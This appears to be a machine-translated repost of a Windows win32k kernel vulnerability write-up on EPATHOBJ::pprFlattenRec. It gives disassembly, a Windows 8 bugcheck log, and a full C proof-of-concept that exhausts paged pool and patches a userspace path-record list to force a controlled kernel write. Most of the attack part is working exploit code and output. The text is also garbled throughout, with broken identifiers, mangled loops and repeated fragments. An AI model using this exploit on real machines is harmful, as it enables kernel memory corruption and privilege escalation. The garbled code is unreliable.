This vulnerability was detected by testing the memory pressure of PATHALLOC (). First, PATHREC> points to the same user space pathrec epathobj: bFlatten and it will "Spin" for infinite linked list traversal. For example, PathRecord-> next = PathRecord; although it will spin, it will patch (pprFlattenRec) to the node in the list (because it is in the user space) through another thread pool ).
First, create a monitoring thread (watchdog) and atomically patch list. Because pprFlattenRec exits prematurely and the bug cannot be exploited, HeavyAllocPool will fail. PprFlattenRec:
. Text: BFA122B8 call newpathrec; EPATHOBJ: newpathrec (_ PATHRECORD **, ulong *, ulong ). text: BFA122BD cmp eax, 1; Check for failure. text: BFA122C0 jz short continue. text: BFA122C2 xor eax, eax; Exit early. text: BFA122C4 jmp early_exit so you need to create a node list like PathRecord-> Next = PathRecord; PathRecord-> Flags = 0; then EPATHOBJ: bFlatten () spin: BOOL _ thiscall EPATHOBJ: bFlatten (EPATHOBJ * this ){/*... */for (ppr = ppath-> pprfirst; ppr = ppr-> pprnext) {if (ppr-> flags & pd_bezr) {ppr = EPATHOBJ: pprFlattenRec (pathobj, ppr );}}/*... */
} You can clear another thread first, and then perform thread repair (because this can be done in userspace) to trigger this vulnerability from // EPATHOBJ's: bFlatten () The first pprFlattenRec code block:
If (pprNew-> pprPrev) pprNew-> pprPrev-> pprnext = pprNew; write 0 xcccccccccc: dword winapi WatchdogThread (LPVOID Parameter) {## this program waits for a mutex object for timeout, fix the damaged linked list to point to a vulnerability. LogMessage (L_INFO, "Watchdog thread % u waiting on Mutex () % p", GetCurrentThreadId (), Mutex); if (WaitForSingleObject (Mutex, CYCLE_TIMEOUT) = WAIT_TIMEOUT) {## make the main thread unable to call FlattenPath (), ## because the kernel EPATHOBJ: bFlatten () spin can be cleared (clear ). # Then patch the list to trigger our exploit. while (NumRegion-) DeleteObject (Regions [NumRegion]); LogMessage (L_ERROR, "InterlockedExchange (% p, % p);", & PathRecord-> next, & ExploitRecord ); InterlockedExchangePointer (& PathRecord-> next, & ExploitRecord);} else {LogMessage (L_ERROR, "Mutex object did not timeout, list not patched");} return 0 ;} pathRecord-> next = PathRecord; PathRecord-> prev = (PVOID) (0 × 42424242); PathRecord-> flags = 0; ExploitRecord. next = NULL; ExploitRecord. prev = 0 xCCCCCCCC; ExploitRecord. flags = PD_BEZIERS; output in Win 8: kd> g ************************************* ********* * ********************************** Bugcheck Analysis ** **************************************** **************************************** use! Analyze-v to get detailed debugging information. bugCheck 50, {cccccccc, 1, 8f18972e, 2} *** WARNING: Unable to verify checksum for ComplexPath.exe *** ERROR: module load completed but symbols cocould not be loaded for ComplexPath.exe Probably caused by: win32k. sys (win32k! EPATHOBJ: pprFlattenRec + 82) Followup: MachineOwner --------- nt! RtlpBreakWithStatusInstruction: 810f46f4 cc int 3kd> kvChildEBP RetAddr Args to Child a03ab494 8111c87d 00000003 c17b60e1 cccccccccc nt! RtlpBreakWithStatusInstruction (FPO: [1, 0]) a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt! KiBugCheckDebugBreak + 0x1c (FPO: [Non-Fpo]) a03ab8b8 810f30ba 00000050 cccccccccc 00000001 nt! KeBugCheck2 + 0x655 (FPO: [6,239, 4]) a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt! KiBugCheck2 + 0xc6a03ab8fc 811a2816 00000050 cccccccc 00000001 nt! KeBugCheckEx + 0x19a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ??: FNODOBFM: 'string' + 0x31868a03aba14 8127c4e4 00000001 cccccccc 00000000 nt! MmAccessFault + 0x42d (FPO: [00000001, 4]) a03aba14 8f18972e 00000000 cccccccc nt! KiTrap0E + 0xdc (FPO: [0, 0] TrapFrame @ a03aba2c) a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k! EPATHOBJ: pprFlattenRec + 0x82 (FPO: [Non-Fpo]) a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k! EPATHOBJ: bFlatten + 0x1f (FPO: [0, 1]) a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k! NtGdiFlattenPath + 0x61 (FPO: [1, 15, 4]) a03abc08 776d7174 1c010779 0016fd18 776d7174 nt! KiFastCallEntry + 0x12c (FPO: [0, 3] TrapFrame @ a03abc14) 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll! KiFastSystemCallRet (FPO: [0, 0]) 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32! NtGdiFlattenPath + 0xa (FPO: [1, 0, 0]) WARNING: Stack unwind information not available. following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath + 10976ee1866 7f0de000 0016fdb0 77716911 ComplexPath + limit 77716911 7f0de000 bc1d7832 00000000 KERNEL32! BaseThreadInitThunk + 0xe (FPO: [Non-Fpo]) 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll! _ RtlUserThreadStart + 0x4a (FPO: [SEH]) 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll! _ RtlUserThreadStart + 0x1c (FPO: [Non-Fpo]) kd>. trap Signature = 00000002eax = cccccccc ebx = 80206014 ecx = 80206008 edx = 85ae1224 esi = 0124eba0 edi = Signature = 109esp = a03abaa0 ebp = a03abbac iopl = 0 nv up ei ng nz na pe nccs = 0008 ss = 0010 ds = 0023 es = 0023 fs = 0030 gs = 0000 efl = 00010286win32k! EPATHOBJ: pprFlattenRec + 0x82: 8f18972e 8918 mov dword ptr [eax], ebx ds: 0023: cccccccccc = ???????? Kd> vertargetWindows 8 Kernel Version 9200 MP (1 procs) Free x86 compatibleProduct: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8 _ gdr.130410-1505 Machine Name: kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20. 259 2013 (UTC-0:02:30) System Uptime: 0 days. 432kd>. bugcheckBugcheck code 00000050 Arguments cccccccc 00000001 8f The following sample code POC is 18972e 00000002: # ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS # endif # include <windows. h> # include <assert. h> # include <stdio. h> # include <stddef. h> # include <winnt. h> # ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS # endif # include <ntstatus. h> # pragma comment (lib, "gdi32") # pragma comment (lib, "kernel32") # pragma comment (lib, "user32") # define MAX_POLYPOINTS (8192*3) # define MAX_REGIONS 8192 # defin E CYCLE_TIMEOUT 10000 // win32k! EPATHOBJ: pprFlattenRec uninitialized Next pointer testcase. /// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points [MAX_POLYPOINTS]; BYTE PointTypes [MAX_POLYPOINTS]; HRGN Regions [MAX_REGIONS]; ULONG NumRegion; HANDLE Mutex; // Log levels. typedef enum {L_DEBUG, L_INFO, L_WARN, L_ERROR} LEVEL, * PLEVEL; BOOL LogMessage (LEVEL Level, PCHAR Format ,...); // Copied from winddi. h from the DDK # def Ine PD_BEGINSUBPATH 0x00000001 # define defaults 0x00000002 # define PD_RESETSTYLE 0x00000004 # define defaults 0x00000008 # define PD_BEZIERS 0x00000010typedef struct _ POINTFIX {ULONG x; ULONG y;} POINTFIX, * PPOINTFIX; // Approximated from reverse engineering. typedef struct _ PATHRECORD {struct _ PATHRECORD * next; struct _ PATHRECORD * prev; ULONG flags; ULONG count; POINTFIX points [0];} PATHRECOR D, * PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; dword winapi WatchdogThread (LPVOID Parameter) {// This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. we need to do this. logMessage (L_INFO, "Watchdog thread % u waiting on Mutex () % p", GetCurrentThreadId (), Mutex); if (WaitForSingleObject (Mutex, CYCLE_TIMEOUT) = WAIT _ TIMEOUT) {// It looks like the main thread is stuck in a call to FlattenPath (), // because the kernel is spinning in EPATHOBJ: bFlatten (). we can clean // up, and then patch the list to trigger our exploit. while (NumRegion --) DeleteObject (Regions [NumRegion]); LogMessage (L_ERROR, "InterlockedExchange (% p, % p);", & PathRecord-> next, & ExploitRecord ); interlockedExchangePointer (& PathRecord-> next, & Exp LoitRecord);} else {LogMessage (L_ERROR, "Mutex object did not timeout, list not patched");} return 0;} int main (int argc, char ** argv) {HANDLE Thread; HDC Device; ULONG Size; HRGN Buffer; ULONG PointNum; ULONG Count; // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // pathrecord chain. pathRecord = VirtualAlloc (NULL, sizeof (PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECU TE_READWRITE); LogMessage (L_INFO, "Alllocated userspace PATHRECORD () % p", PathRecord); // Initialise with recognisable debugging values. fillMemory (PathRecord, sizeof (PATHRECORD), 0xCC); PathRecord-> next = PathRecord; PathRecord-> prev = (PVOID) (0x42424242 ); // You need the PD_BEZIERS flag to enter EPATHOBJ: pprFlattenRec () from needs to type the PD--BEZIERS from EPATHOBJ: pprflattenRec () so that infinite loops can be triggered. // EPATHOBJ: bFlatten (). we don't set it so that we can trigger an infinite // loop in EPATHOBJ: bFlatten (). pathRecord-> flags = 0; LogMessage (L_INFO, "-> next @ % p", PathRecord-> next); LogMessage (L_INFO, "-> prev @ % p ", pathRecord-> prev); LogMessage (L_INFO, "-> flags @ % u", PathRecord-> flags); ExploitRecord. next = NULL; ExploitRecord. prev = 0 xCCCCCCCC; ExploitRecord. flags = PD_BEZIERS; LogMessage (Maid path with % # x ", (ULONG) (PathRecord)> 4 ); // Generate a large number of bezr Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum <MAX_POLYPOINTS; PointNum ++) {Points [PointNum]. x = (ULONG) (PathRecord)> 4; Points [PointNum]. y = (ULONG) (PathRecord)> 4; PointTypes [PointNum] = PT_BEZIERTO;} // Switch to a dedicated desktop so we Don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly ). setThreadDesktop (CreateDesktop ("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); Mutex = CreateMutex (NULL, TRUE, NULL); // Get a handle to this Desktop. device = GetDC (NULL); // Spawn a thread to cleanup Thread = CreateThread (NULL, 0, WatchdogThread, NULL, 0, NULL); // We need to cause a s Pecific AllocObject () to fail to trigger the // exploitable condition. to do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. /// I don't use the simpler CreateRectRgn () because it leaks a GDI handle on // failure. seriously, do some damn QA Microsoft, wtf. f Or (Size = 1 <26; Size> = 1) {while (Regions [NumRegion] = CreateRoundRectRgn (0, 0, 1, Size, 1, 1 )) numRegion ++;} LogMessage (L_INFO, "Allocated % u HRGN objects", NumRegion); LogMessage (L_INFO, "Flattening curves... "); // Begin filling the free list with our points. for (PointNum = MAX_POLYPOINTS; PointNum-= 3) {BeginPath (Device); PolyDraw (Device, Points, PointTypes, PointNum); EndPath (Device); FlattenPath (Device); EndPath (Device);} LogMessage (L_INFO, "No luck, cleaning up "); // If we reach here, we didn't trigger the condition. let the other thread know. releaseMutex (Mutex); ReleaseDC (NULL, Device); WaitForSingleObject (Thread, INFINITE); return 0 ;}// A quick logging routine for debug messages. BOOL LogMessage (LEVEL Level, PCHAR Format ,...) {CHAR Buffer [1024] = {0}; va_list Args; va_start (Args, Format); vsnprintf_s (Buffer, sizeof Buffer, _ TRUNCATE, Format, Args); va_end (Args ); switch (Level) {case L_DEBUG: fprintf (stdout, "[?] % S \ n ", Buffer); break; case L_INFO: fprintf (stdout," [+] % s \ n ", Buffer); break; case L_WARN: fprintf (stderr, "[*] % s \ n", Buffer); break; case L_ERROR: fprintf (stderr, "[!] % S \ n \ a ", Buffer); break;} fflush (stdout); fflush (stderr); return TRUE ;}